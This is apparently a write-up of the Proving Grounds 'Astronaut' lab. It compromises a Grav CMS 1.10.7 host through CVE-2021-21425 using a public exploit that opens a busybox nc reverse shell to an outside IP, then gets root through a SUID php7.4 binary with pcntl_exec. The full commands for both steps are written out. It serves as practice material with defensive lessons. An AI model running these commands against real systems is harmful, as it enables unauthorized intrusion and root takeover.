the_open_door
coffee
ESEN

Astronaut

Proving Grounds PracticeEasyLinux192.168.186.12

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#grav-cms#cve-2021-21425#yaml-write#rce#suid#php-suid#gtfobins#oscp
TL;DR. Astronaut serves a Grav CMS 1.10.7 under /grav-admin. That version is vulnerable to CVE-2021-21425 (arbitrary YAML write leading to command execution), so a public exploit lands a shell as www-data (CVE-2021-21425). To escalate, the /usr/bin/php7.4 binary has the SUID bit: we abuse it with pcntl_exec('/bin/sh', ['-p']) (SUID abuse) and drop to root.

Recon

Initial scan

The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Only two ports are open:

ping -c 1 192.168.186.12
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.186.12
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
nmap -p22,80 -sCV 192.168.186.12 -oN targetedScan
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-ls: Volume /
| SIZE  TIME              FILENAME
| -     2021-03-17 17:46  grav-admin/
|_

SSH is no way in without credentials, so everything points at 80. The http-ls itself hands us the lead: the document root listing shows a grav-admin/ directory.

HTTP - TCP 80

We browse to http://192.168.186.12/grav-admin/ and the Grav welcome screen appears, a flat-file CMS written in PHP (no database: it stores content and configuration in files):

“Say Hello to Grav! installation successful” page with the Grav logo

With the technology identified, we need its version and whether it has known vulnerabilities.

Grav CMS - Identifying the vulnerable version

searchsploit lists several entries for Grav CMS 1.10.7, and the first is exactly what we want: an unauthenticated arbitrary YAML write leading to code execution:

searchsploit gravcms shows "GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated)" at php/webapps/49973.py

GravCMS 1.10.7 - Arbitrary YAML Write/Update (Unauthenticated) (2)   php/webapps/49973.py
GravCMS 1.10.7 - Unauthenticated Arbitrary File Write (Metasploit)   php/webapps/49788.rb

That's CVE-2021-21425: Grav's panel exposes a task that lets you write server-side configuration without proper checks; chaining a Scheduler entry with its trigger yields RCE as the web-server user (CVE-2021-21425).

Exploitation

Finding the exploit

Exploit-DB's 49973.py writes the YAML, but searching for an implementation that also chains the trigger turns up a repository dedicated to this CVE:

Search for gravCMS Arbitrary YAML Write/Update git exploit: the CsEnox/CVE-2021-21425 repository described as GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code Execution

GitHub
CsEnox/CVE-2021-21425
GravCMS Unauthenticated Arbitrary YAML Write/Update leads to Code Execution (CVE-2021-21425)

CVE-2021-21425: RCE in Grav

We use that public exploit by CsEnox, which automates the whole flow: it writes the scheduled task with our command and triggers it. We keep Penelope listening on 22, an egress port the machine allows:

penelope 22

and pass a busybox nc reverse shell to the exploit:

wget https://raw.githubusercontent.com/CsEnox/CVE-2021-21425/refs/heads/main/exploit.py
python3 exploit.py -c 'busybox nc 192.168.45.244 22 -e bash' -t http://192.168.186.12/grav-admin

The exploit warns that it creates the file and the task, and that it waits one minute for Grav to run it (it's a scheduled task, not an immediate trigger). After that, the connection lands on the handler (penelope), which also upgrades the shell to a PTY:

The exploit prints "Creating File", "Scheduled task created, wait one minute" and penelope gets the reverse shell from gravity-192.168.186.12 as www-data

[*] Creating File
Scheduled task created for file creation, wait one minute
[*] Running file
Scheduled task created for command, wait one minute

[+] Got reverse shell from gravity~192.168.186.12-Linux-x86_64

www-data@gravity:~/html/grav-admin$ whoami
www-data

We have a shell as www-data on the host gravity.

Post-exploitation

Privilege escalation: SUID php7.4 binary

The first move on landing is to look for SUID binaries (they run with the owner's privileges, usually root, instead of the caller's). We filter out the snap noise:

find / -perm -4000 2>/dev/null | grep -v snap

Among the usual suspects (su, sudo, passwd, mount...) there's one that shouldn't be there: /usr/bin/php7.4.

find of SUID binaries with /usr/bin/php7.4 highlighted, and php pcntl_exec with the -p option returning a root shell

www-data@gravity:~/html/grav-admin$ find / -perm -4000 2>/dev/null | grep -v snap
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/bin/chsh
/usr/bin/at
/usr/bin/su
/usr/bin/fusermount
/usr/bin/chfn
/usr/bin/umount
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/mount
/usr/bin/php7.4
/usr/bin/gpasswd

www-data@gravity:~/html/grav-admin$ php -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
root

A PHP interpreter with SUID is a direct escalation: PHP can spawn processes, and with the -p flag the child shell keeps the effective UID (root) instead of dropping it. GTFOBins documents exactly this case (SUID abuse):

php -r "pcntl_exec('/bin/sh', ['-p']);"
www-data@gravity:~/html/grav-admin$ php -r "pcntl_exec('/bin/sh', ['-p']);"
# whoami
root

Proof

cat /root/proof.txt && whoami && ip a && hostname

proof.txt read as root on gravity (192.168.186.12)

8caf1d2cbe0eb0c6a7b80d89a3c0f827
root

Attack chain

HTTP (80)  --  /grav-admin -> Grav CMS 1.10.7
        │  CVE-2021-21425 (Arbitrary YAML Write -> RCE)
        ▼
shell as www-data
        │  /usr/bin/php7.4 with SUID bit
        │  php -r "pcntl_exec('/bin/sh', ['-p'])"
        ▼
root  (proof.txt)

Lessons learned

  • Version is everything in a CMS. Grav 1.10.7 ships with CVE-2021-21425; identifying the version and cross-checking it against searchsploit solved the initial access with no further enumeration.
  • Scheduled tasks add latency. The exploit doesn't return the shell instantly: Grav schedules the command and you must wait for it to run. Knowing this avoids thinking the exploit failed.
  • An interpreter with SUID is root. PHP, Python or Perl with the SUID bit are immediate escalation; the -p flag is the key so the child shell doesn't drop the effective UID. No interpreter should be SUID.
  • find / -perm -4000 is one of the first steps on Linux. A single out-of-place binary in that list is often the whole escalation.
Command cheatsheet 7 commands

Quick review